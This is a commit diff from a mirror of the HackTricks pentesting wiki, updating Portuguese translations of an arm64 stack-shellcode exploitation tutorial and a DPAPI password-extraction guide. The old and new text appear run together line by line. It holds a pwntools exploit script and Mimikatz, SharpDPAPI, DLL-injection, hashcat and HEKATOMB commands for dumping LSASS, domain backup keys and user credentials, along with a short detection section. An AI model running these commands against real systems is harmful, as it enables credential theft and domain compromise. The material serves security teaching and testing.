maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/windows-hardening/windows-local-privilege-escalation/dp

Browse Source
This commit is contained in:
Translator 2025-09-05 19:00:55 +00:00
parent 56221de265
commit c401544cbf
2 changed files with 91 additions and 76 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

30
src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
View File

@ -4,12 +4,13 @@
Encontre uma introdução ao arm64 em: Encontre uma introdução ao arm64 em:
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code ## Linux
### Código
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -24,17 +25,17 @@ vulnerable_function();
return 0; return 0;
} }
``` ```
Compile sem pie, canário e nx: Compilar sem pie, canary e nx:
```bash ```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
``` ```
## Sem ASLR e Sem canário - Stack Overflow ### Sem ASLR e sem canary - Stack Overflow
Para parar o ASLR, execute: Para desativar o ASLR, execute:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
Para obter o [**offset do bof verifique este link**](../ret2win/ret2win-arm64.md#finding-the-offset). Para obter o [**offset do bof, veja este link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Exploit: Exploit:
```python ```python
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session # Drop to an interactive session
p.interactive() p.interactive()
``` ```
A única coisa "complicada" a encontrar aqui seria o endereço na pilha para chamar. No meu caso, eu gerei o exploit com o endereço encontrado usando gdb, mas depois, ao explorá-lo, não funcionou (porque o endereço da pilha mudou um pouco). A única coisa "complicada" para encontrar aqui seria o endereço na stack a ser chamado. No meu caso eu gerei o exploit com o endereço encontrado usando gdb, mas depois ao explorá-lo não funcionou (porque o endereço da stack mudou um pouco).
Abri o arquivo **`core`** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.
## macOS
> [!TIP]
> Não é possível desabilitar o NX no macOS porque em arm64 esse modo é implementado a nível de hardware, então você não pode desativá-lo, portanto não encontrará exemplos com shellcode na stack no macOS.
Confira um exemplo de ret2win no macOS em:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
Eu abri o arquivo **`core`** gerado (`gdb ./bog ./core`) e verifiquei o endereço real do início do shellcode.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

137
src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
View File

@ -1,38 +1,38 @@
# DPAPI - Extraindo Senhas # DPAPI - Extracting Passwords
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## O que é o DPAPI ## O que é DPAPI
The Data Protection API (DPAPI) é utilizada principalmente no sistema operacional Windows para a **encryptação simétrica de chaves privadas assimétricas**, aproveitando segredos do usuário ou do sistema como uma fonte significativa de entropia. Essa abordagem simplifica a encryptação para desenvolvedores, permitindo que eles encryptem dados usando uma chave derivada dos segredos de logon do usuário ou, para encryptação do sistema, dos segredos de autenticação do domínio, eliminando a necessidade de os desenvolvedores gerenciarem a proteção da chave de encryptação por conta própria. A Data Protection API (DPAPI) é usada principalmente no sistema operativo Windows para a **criptografia simétrica de chaves privadas assimétricas**, aproveitando segredos do usuário ou do sistema como uma fonte significativa de entropia. Essa abordagem simplifica a criptografia para desenvolvedores, permitindo que encriptem dados usando uma chave derivada dos segredos de logon do usuário ou, para encriptação do sistema, dos segredos de autenticação de domínio do sistema, eliminando assim a necessidade de os desenvolvedores protegerem a chave de encriptação por conta própria.
A maneira mais comum de usar o DPAPI é através das funções **`CryptProtectData` e `CryptUnprotectData`**, que permitem que aplicações encryptem e decryptem dados de forma segura com a sessão do processo que está atualmente logado. Isso significa que os dados encryptados só podem ser decrypted pelo mesmo usuário ou sistema que os encrypted. A forma mais comum de usar o DPAPI é através das funções **`CryptProtectData` and `CryptUnprotectData`**, que permitem que aplicações encriptem e desencriptem dados de forma segura com a sessão do processo que está atualmente autenticada. Isso significa que os dados encriptados só podem ser desencriptados pelo mesmo usuário ou sistema que os encriptou.
Além disso, essas funções aceitam também um **`entropy` parameter** que será usado durante a encryptação e decryptação; portanto, para decryptar algo encryptado usando esse parâmetro, você deve fornecer o mesmo valor de entropy que foi usado durante a encryptação. Além disso, essas funções também aceitam um parâmetro **`entropy`** que será usado durante a encriptação e desencriptação; portanto, para desencriptar algo encriptado usando esse parâmetro, você deve fornecer o mesmo valor de entropy que foi usado durante a encriptação.
### Geração da chave do usuário ### Geração da chave do usuário
O DPAPI gera uma chave única (chamada **`pre-key`**) para cada usuário com base em suas credenciais. Essa chave é derivada da senha do usuário e de outros fatores e o algoritmo depende do tipo de usuário, mas acaba sendo um SHA1. Por exemplo, para usuários de domínio, **depende do NTLM hash do usuário**. O DPAPI gera uma chave única (chamada **`pre-key`**) para cada usuário com base nas suas credenciais. Essa chave é derivada da senha do usuário e outros fatores, e o algoritmo depende do tipo de usuário, mas acaba sendo um SHA1. Por exemplo, para usuários de domínio, **depende do hash NTLM do usuário**.
Isso é especialmente interessante porque, se um atacante conseguir obter o hash da senha do usuário, ele pode: Isto é especialmente interessante porque, se um atacante conseguir obter o hash da senha do usuário, ele pode:
- **Decryptar qualquer dado que foi encryptado usando DPAPI** com a chave desse usuário sem precisar contatar qualquer API - **Decrypt any data that was encrypted using DPAPI** com a chave desse usuário sem precisar contactar qualquer API
- Tentar **crackear a senha** offline tentando gerar a chave DPAPI válida - Tentar **crack the password** offline tentando gerar a chave DPAPI válida
Além disso, toda vez que alguns dados são encryptados por um usuário usando DPAPI, uma nova **master key** é gerada. Essa master key é a que realmente é usada para encryptar os dados. Cada master key é identificada por um **GUID** (Globally Unique Identifier). Além disso, cada vez que algum dado é encriptado por um usuário usando o DPAPI, uma nova **chave mestra** é gerada. Essa chave mestra é a que é efetivamente usada para encriptar os dados. Cada chave mestra é identificada por um **GUID (Identificador Globalmente Único)**.
As master keys são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, onde `{SID}` é o Security Identifier desse usuário. A master key é armazenada encryptada pela **`pre-key`** do usuário e também por uma **domain backup key** para recuperação (então a mesma chave é armazenada encryptada 2 vezes por 2 caminhos diferentes). As chaves mestras são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, onde `{SID}` é o Security Identifier desse usuário. A chave mestra é armazenada encriptada pela **`pre-key`** do usuário e também por uma **domain backup key** para recuperação (assim, a mesma chave é armazenada encriptada duas vezes por dois caminhos diferentes).
Note que a **domain key usada para encryptar a master key está nos domain controllers e nunca muda**, então se um atacante tem acesso ao domain controller, ele pode recuperar a domain backup key e decryptar as master keys de todos os usuários do domínio. Note que a **domain key usada para encriptar a chave mestra está nos domain controllers e nunca muda**, então se um atacante tiver acesso ao domain controller, ele pode recuperar a domain backup key e desencriptar as chaves mestras de todos os usuários do domínio.
Os blobs encryptados contém o **GUID da master key** que foi usada para encryptar os dados dentro dos seus headers. Os blobs encriptados contêm o **GUID da chave mestra** que foi usado para encriptar os dados dentro dos seus cabeçalhos.
> [!TIP] > [!TIP]
> DPAPI encrypted blobs começam com **`01 00 00 00`** > Blobs encriptados do DPAPI começam com **`01 00 00 00`**
Encontrar master keys: Encontrar chaves mestras:
```bash ```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -45,37 +45,37 @@ This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>) ![](<../../images/image (1121).png>)
### Geração da chave Machine/System ### Geração da chave da máquina/sistema
Esta é a chave usada pela máquina para criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que somente o usuário SYSTEM pode acessar. Esta chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos de todo o sistema. Esta é a chave usada pela máquina para criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que somente o usuário SYSTEM pode acessar. Essa chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos de todo o sistema.
Observe que essas chaves **não têm um domain backup** e, portanto, são acessíveis apenas localmente: Observe que essas chaves **não têm um backup de domínio**, portanto são acessíveis apenas localmente:
- **Mimikatz** pode acessá-la extraindo os LSA secrets usando o comando: `mimikatz lsadump::secrets` - **Mimikatz** pode acessá‑la despejando LSA secrets usando o comando: `mimikatz lsadump::secrets`
- O segredo é armazenado no registro, então um administrador poderia **modificar as permissões DACL para acessá-lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM` - O secret é armazenado dentro do registro, então um administrador poderia **modificar as permissões DACL para acessá‑lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Dados protegidos pelo DPAPI ### Dados protegidos pelo DPAPI
Entre os dados pessoais protegidos pelo DPAPI estão: Entre os dados pessoais protegidos pelo DPAPI estão:
- Credenciais do Windows - Windows creds
- Senhas do Internet Explorer e do Google Chrome e dados de auto-completação - Senhas e dados de auto‑completação do Internet Explorer e Google Chrome
- Senhas de contas de e-mail e de FTP interno para aplicações como Outlook e Windows Mail - Senhas de e‑mail e contas FTP internas para aplicações como Outlook e Windows Mail
- Senhas para pastas compartilhadas, recursos, redes wireless e Windows Vault, incluindo chaves de criptografia - Senhas para pastas compartilhadas, recursos, redes wireless e Windows Vault, incluindo chaves de criptografia
- Senhas para conexões de remote desktop, .NET Passport e chaves privadas para vários fins de criptografia e autenticação - Senhas para conexões de remote desktop, .NET Passport e chaves privadas para vários fins de criptografia e autenticação
- Senhas de rede gerenciadas pelo Credential Manager e dados pessoais em aplicações que usam CryptProtectData, como Skype, MSN messenger, e mais - Senhas de rede gerenciadas por Credential Manager e dados pessoais em aplicações que usam CryptProtectData, como Skype, MSN messenger e mais
- Blobs criptografados dentro do registro - Blobs criptografados dentro do registro
- ... - ...
Dados protegidos pelo sistema incluem: Dados protegidos pelo sistema incluem:
- Senhas de Wi-Fi - Senhas de Wifi
- Senhas de tarefas agendadas - Senhas de tarefas agendadas
- ... - ...
### Master key extraction options ### Opções de extração da Master key
- Se o usuário tiver privilégios de domain admin, ele pode acessar a **domain backup key** para descriptografar todas as master keys de usuário no domínio: - Se o usuário tiver privilégios de domain admin, ele pode acessar a **chave de backup do domínio** para descriptografar todas as master keys dos usuários no domínio:
```bash ```bash
# Mimikatz # Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,7 +83,7 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk] SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
``` ```
- Com privilégios de administrador local, é possível **acessar a memória do LSASS** para extrair as DPAPI master keys de todos os usuários conectados e a SYSTEM key. - Com privilégios de administrador local, é possível **acessar a memória do LSASS** para extrair as chaves mestras do DPAPI de todos os usuários conectados e a chave SYSTEM.
```bash ```bash
# Mimikatz # Mimikatz
mimikatz sekurlsa::dpapi mimikatz sekurlsa::dpapi
@ -93,7 +93,7 @@ mimikatz sekurlsa::dpapi
# Mimikatz # Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export lsadump::secrets /system:DPAPI_SYSTEM /export
``` ```
- Se a senha ou o hash NTLM do usuário for conhecido, você pode **descriptografar as master keys do usuário diretamente**: - Se a senha ou o hash NTLM do usuário forem conhecidos, você pode **descriptografar diretamente as chaves mestras do usuário**:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD SharpDPAPI.exe masterkeys /password:PASSWORD
``` ```
- Se você estiver numa sessão como o usuário, é possível solicitar ao DC a **backup key to decrypt the master keys using RPC**. Se você for administrador local e o usuário estiver logado, você poderia **steal his session token** para isto: - Se você estiver em uma sessão como o usuário, é possível solicitar ao DC a **backup key to decrypt the master keys using RPC**. Se você for local admin e o usuário estiver logado, você poderia **steal his session token** para isso:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -117,16 +117,16 @@ vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz # From mimikatz
mimikatz vault::list mimikatz vault::list
``` ```
## Acessar DPAPI Encrypted Data ## Acessar dados criptografados do DPAPI
### Encontrar dados criptografados por DPAPI ### Encontrar dados criptografados do DPAPI
Arquivos de usuários comuns **protegidos** estão em: Os arquivos protegidos de usuários geralmente ficam em:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*` - `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*` - `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*` - `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Check also changing `\Roaming\` to `\Local\` in the above paths. - Também verifique alterando `\Roaming\` para `\Local\` nos caminhos acima.
Exemplos de enumeração: Exemplos de enumeração:
```bash ```bash
@ -135,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
``` ```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar DPAPI encrypted blobs no file system, registry e B64 blobs: [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar blobs criptografados DPAPI no sistema de arquivos, no registro e em blobs B64:
```bash ```bash
# Search blobs in the registry # Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default search /type:registry [/path:HKLM] # Search complete registry by default
@ -154,7 +154,7 @@ Observe que [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (do mesmo
### Chaves de acesso e dados ### Chaves de acesso e dados
- **Use SharpDPAPI** para obter credenciais de arquivos criptografados com DPAPI da sessão atual: - **Use SharpDPAPI** para obter credenciais de arquivos criptografados pelo DPAPI da sessão atual:
```bash ```bash
# Decrypt user data # Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates ## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data # Decrypt machine data
SharpDPAPI.exe machinetriage SharpDPAPI.exe machinetriage
``` ```
- **Obter informações das credenciais** como os dados criptografados e o guidMasterKey. - **Obter informações de credentials** como os dados criptografados e o guidMasterKey.
```bash ```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7 mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -175,7 +175,7 @@ pbData : b8f619[...snip...]b493fe
``` ```
- **Acessar masterkeys**: - **Acessar masterkeys**:
Descriptografar um masterkey de um usuário que solicita a **domain backup key** usando RPC: Descriptografar um masterkey de um usuário que solicitou a **domain backup key** usando RPC:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe masterkeys /rpc SharpDPAPI.exe masterkeys /rpc
``` ```
A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografia da masterkey (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada de domínio DPAPI...): A ferramenta **SharpDPAPI** também suporta estes argumentos para masterkey decryption (observe como é possível usar `/rpc` para obter a domains backup key, `/password` para usar uma plaintext password, ou `/pvk` para especificar um DPAPI domain private key file...):
``` ```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys) /target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys /pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -195,7 +195,7 @@ A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografi
/server:SERVER - triage a remote server, assuming admin access /server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption) /hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
``` ```
- **Descriptografar dados usando uma masterkey**: - **Descriptografar dados usando uma chave mestra**:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY> dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI # SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH> SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
``` ```
A ferramenta **SharpDPAPI** também suporta esses argumentos para descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto claro, `/pvk` para especificar um arquivo de chave privada de domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...): A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto claro, `/pvk` para especificar um arquivo de chave privada de domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...):
``` ```
Decryption: Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands /unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -222,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands Note: not applicable to 'blob' or 'ps' commands
``` ```
- Descriptografar alguns dados usando **sessão do usuário atual**: - Descriptografar alguns dados usando a **sessão do usuário atual**:
```bash ```bash
# Mimikatz # Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -233,9 +233,9 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
--- ---
### Tratando Entropia Opcional ("Entropia de terceiros") ### Tratando Entropia Opcional ("Entropia de terceiros")
Algumas aplicações passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor o blob não pode ser descriptografado, mesmo que a **masterkey** correta seja conhecida. Obter a entropia é, portanto, essencial ao visar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN). Algumas aplicações passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor o blob não pode ser descriptografado, mesmo que o masterkey correto seja conhecido. Obter a entropia é portanto essencial ao visar credenciais protegidas desta forma (por exemplo Microsoft Outlook, alguns clientes VPN).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional fornecida. Executar EntropyCapture no modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` irá gerar um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode depois ser fornecida ao **SharpDPAPI** (`/entropy:`) ou ao **Mimikatz** (`/entropy:<file>`) para descriptografar os dados. [**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo usuário que injeta hooks nas funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar EntropyCapture em **DLL-injection** mode contra processos como `outlook.exe` ou `vpnclient.exe` irá gerar um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode depois ser fornecida ao **SharpDPAPI** (`/entropy:`) ou ao **Mimikatz** (`/entropy:<file>`) para descriptografar os dados.
```powershell ```powershell
# Inject EntropyCapture into the current user's Outlook # Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -243,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy # Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash> SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
``` ```
### Quebrando masterkeys offline (Hashcat & DPAPISnoop) ### Cracking masterkeys offline (Hashcat & DPAPISnoop)
A Microsoft introduziu um formato de masterkey **context 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) adicionou os hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) e **22102** (context 3), permitindo cracking acelerado por GPU de senhas de usuário diretamente do arquivo masterkey. Portanto, atacantes podem realizar ataques word-list ou brute-force sem interagir com o sistema alvo. Microsoft introduziu um formato de masterkey **context 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (dezembro de 2023) adicionou hash-modes **22100** (DPAPI masterkey v1 context ), **22101** (context 1) e **22102** (context 3), permitindo cracking acelerado por GPU de senhas de usuário diretamente do arquivo masterkey. Portanto, atacantes podem realizar ataques por word-list ou brute-force sem interagir com o sistema alvo.
`DPAPISnoop` (2024) automatiza o processo: `DPAPISnoop` (2024) automatiza o processo:
```bash ```bash
@ -253,11 +253,12 @@ A Microsoft introduziu um formato de masterkey **context 3** a partir do Windows
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4 hashcat -m 22102 bob.hc wordlist.txt -O -w4
``` ```
A ferramenta também pode analisar blobs de Credential e Vault, decifrá-los com chaves quebradas e exportar senhas em texto claro. A ferramenta também pode analisar blobs do Credential e do Vault, decriptá-los com chaves crackeadas e exportar senhas em texto claro.
### Acessar dados de outra máquina ### Acessar dados de outra máquina
Em **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa conseguir acessar essa máquina e, no exemplo a seguir, supõe-se que a **chave de criptografia de backup do domínio é conhecida**: No **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa conseguir acessar essa máquina e, no exemplo a seguir, supõe-se que a **chave de encriptação de backup do domínio é conhecida**:
```bash ```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64 SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64 SharpChrome cookies /server:HOST /pvk:BASE64
@ -266,7 +267,7 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB ### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automatiza a extração de todos os usuários e computadores do diretório LDAP e a extração da chave de backup do domain controller via RPC. O script então resolverá o endereço IP de todos os computadores e executará um smbclient em todos os computadores para recuperar todos os blobs DPAPI de todos os usuários e descriptografar tudo com a chave de backup do domínio. [**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automa a extração de todos os usuários e computadores do diretório LDAP e a extração da domain controller backup key via RPC. O script então resolve todos os endereços IP dos computadores e executa smbclient em todas as máquinas para recuperar todos os DPAPI blobs de todos os usuários e descriptografar tudo com a domain backup key.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp` `python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
@ -274,40 +275,40 @@ Com a lista de computadores extraída do LDAP você pode encontrar todas as sub-
### DonPAPI 2.x (2024-05) ### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode extrair segredos protegidos por DPAPI automaticamente. O lançamento 2.x introduziu: [**DonPAPI**](https://github.com/login-securite/DonPAPI) pode despejar segredos protegidos por DPAPI automaticamente. A versão 2.x introduziu:
* Coleta paralela de blobs a partir de centenas de hosts * Coleta paralela de blobs de centenas de hosts
* Parsing de **context 3** masterkeys e integração automática com cracking via Hashcat * Parser de masterkeys de **context 3** e integração automática com Hashcat para cracking
* Suporte para cookies criptografados do Chrome "App-Bound" (veja a próxima seção) * Suporte para cookies criptografados "App-Bound" do Chrome (ver próxima seção)
* Um novo modo **`--snapshot`** para sondar repetidamente endpoints e comparar blobs recém-criados * Um novo modo **`--snapshot`** para sondar repetidamente endpoints e diferenciar blobs recém-criados
### DPAPISnoop ### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos masterkey/credential/vault que pode gerar formatos para Hashcat/JtR e opcionalmente invocar o cracking automaticamente. Suporta completamente os formatos de masterkey de máquina e usuário até o Windows 11 24H1. [**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos masterkey/credential/vault que pode gerar formatos Hashcat/JtR e opcionalmente invocar o cracking automaticamente. Suporta totalmente formatos de masterkey de máquina e usuário até o Windows 11 24H1.
## Detecções comuns ## Detecções comuns
- Acesso a arquivos em `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` e outros diretórios relacionados ao DPAPI. - Acesso a arquivos em `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` e outros diretórios relacionados ao DPAPI.
- Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**. - Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**.
- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou extrair masterkeys. - Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória LSASS ou despejar masterkeys.
- Evento **4662**: *Uma operação foi realizada em um objeto* – pode ser correlacionado com acesso ao objeto **`BCKUPKEY`**. - Evento **4662**: *Uma operação foi executada em um objeto* – pode ser correlacionado com acesso ao objeto **`BCKUPKEY`**.
- Eventos **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager) - Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager)
--- ---
### Vulnerabilidades e mudanças no ecossistema 2023-2025 ### 2023-2025 vulnerabilidades & mudanças no ecossistema
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia dos masterkeys de usuários. Corrigido no cumulative update de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente atualizados. * **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (novembro de 2023). Um atacante com acesso à rede poderia enganar um membro de domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de masterkeys de usuário. Corrigido na atualização cumulativa de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente atualizados.
